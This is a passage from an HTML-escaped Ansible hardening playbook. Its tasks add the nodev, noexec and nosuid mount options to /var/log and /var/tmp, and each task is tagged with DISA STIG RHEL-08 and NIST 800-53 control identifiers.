    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040126
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log: If /var/log not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/log
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040126
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log: Make sure nodev option is part of the to
      /var/log options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nodev''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nodev&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040126
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/log: Ensure /var/log is mounted with nodev option'
    ansible.posix.mount:
      path: /var/log
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040126
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nodev
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/log'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040128
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040128
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log: If /var/log not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/log
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040128
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log: Make sure noexec option is part of the to
      /var/log options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''noexec''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;noexec&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040128
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/log: Ensure /var/log is mounted with noexec option'
    ansible.posix.mount:
      path: /var/log
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040128
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_noexec
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/log'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040127
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040127
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log: If /var/log not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/log
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040127
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log: Make sure nosuid option is part of the to
      /var/log options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nosuid''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nosuid&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040127
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/log: Ensure /var/log is mounted with nosuid option'
    ansible.posix.mount:
      path: /var/log
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/log&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040127
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_log_nosuid
    - no_reboot_needed

  - name: 'Add nodev Option to /var/tmp: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/tmp'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040132
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/tmp: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040132
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/tmp: If /var/tmp not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/tmp
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040132
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/tmp: Make sure nodev option is part of the to
      /var/tmp options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''nodev''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;nodev&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040132
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nodev
    - no_reboot_needed

  - name: 'Add nodev Option to /var/tmp: Ensure /var/tmp is mounted with nodev option'
    ansible.posix.mount:
      path: /var/tmp
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040132
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nodev
    - no_reboot_needed

  - name: 'Add noexec Option to /var/tmp: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/tmp'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040134
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/tmp: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040134
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/tmp: If /var/tmp not mounted, craft mount_info
      manually'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - - target
      - source
      - fstype
      - options
    - - /var/tmp
      - ''
      - ''
      - defaults
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - (&quot;--fstab&quot; | length == 0)
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040134
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/tmp: Make sure noexec option is part of the to
      /var/tmp options'
    set_fact:
      mount_info: '{{ mount_info | combine( {''options'':''''~(mount_info.options
        | default(''''))~('','' if (mount_info.options | default('''')) else '''')~''noexec''
        }) }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined and &quot;noexec&quot; not in (mount_info.options | default(''))
    tags:
    - DISA-STIG-RHEL-08-040134
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_noexec
    - no_reboot_needed

  - name: 'Add noexec Option to /var/tmp: Ensure /var/tmp is mounted with noexec option'
    ansible.posix.mount:
      path: /var/tmp
      src: '{{ mount_info.source | default('''') }}'
      opts: '{{ mount_info.options | default('''') }}'
      state: mounted
      fstype: '{{ mount_info.fstype | default('''') }}'
    register: mount_result
    failed_when:
    - mount_result is failed
    - '''target is busy'' not in (mount_result.msg | default(''''))'
    - '''already mounted'' not in (mount_result.msg | default(''''))'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - mount_info is defined
    - (device_name.stdout is defined and (device_name.stdout | length &gt; 0)) or (&quot;--fstab&quot;
      | length == 0)
    tags:
    - DISA-STIG-RHEL-08-040134
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_noexec
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/tmp: Check information associated to mountpoint'
    ansible.builtin.command: findmnt --fstab '/var/tmp'
    register: device_name
    failed_when: device_name.rc &gt; 1
    changed_when: false
    check_mode: false
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    tags:
    - DISA-STIG-RHEL-08-040133
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/tmp: Create mount_info dictionary variable'
    set_fact:
      mount_info: '{{ mount_info|default({})|combine({item.0: item.1}) }}'
    with_together:
    - '{{ device_name.stdout_lines[0].split() | map(''lower'') | list }}'
    - '{{ device_name.stdout_lines[1].split() | list }}'
    when:
    - ( not ( &quot;kernel&quot; in ansible_facts.packages and &quot;rpm-ostree&quot; in ansible_facts.packages
      and &quot;bootc&quot; in ansible_facts.packages and not &quot;openshift-kubelet&quot; in ansible_facts.packages
      and &quot;ostree&quot; in ansible_proc_cmdline ) and not ( ansible_virtualization_type
      in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;] ) )
    - '&quot;/var/tmp&quot; in ansible_mounts | map(attribute=&quot;mount&quot;) | list'
    - device_name.stdout is defined and device_name.stdout_lines is defined
    - (device_name.stdout | length &gt; 0)
    tags:
    - DISA-STIG-RHEL-08-040133
    - configure_strategy
    - high_disruption
    - low_complexity
    - medium_severity
    - mount_option_var_tmp_nosuid
    - no_reboot_needed

  - name: 'Add nosuid Option to /var/tmp: If /var/tmp not mounted, craft mount_info
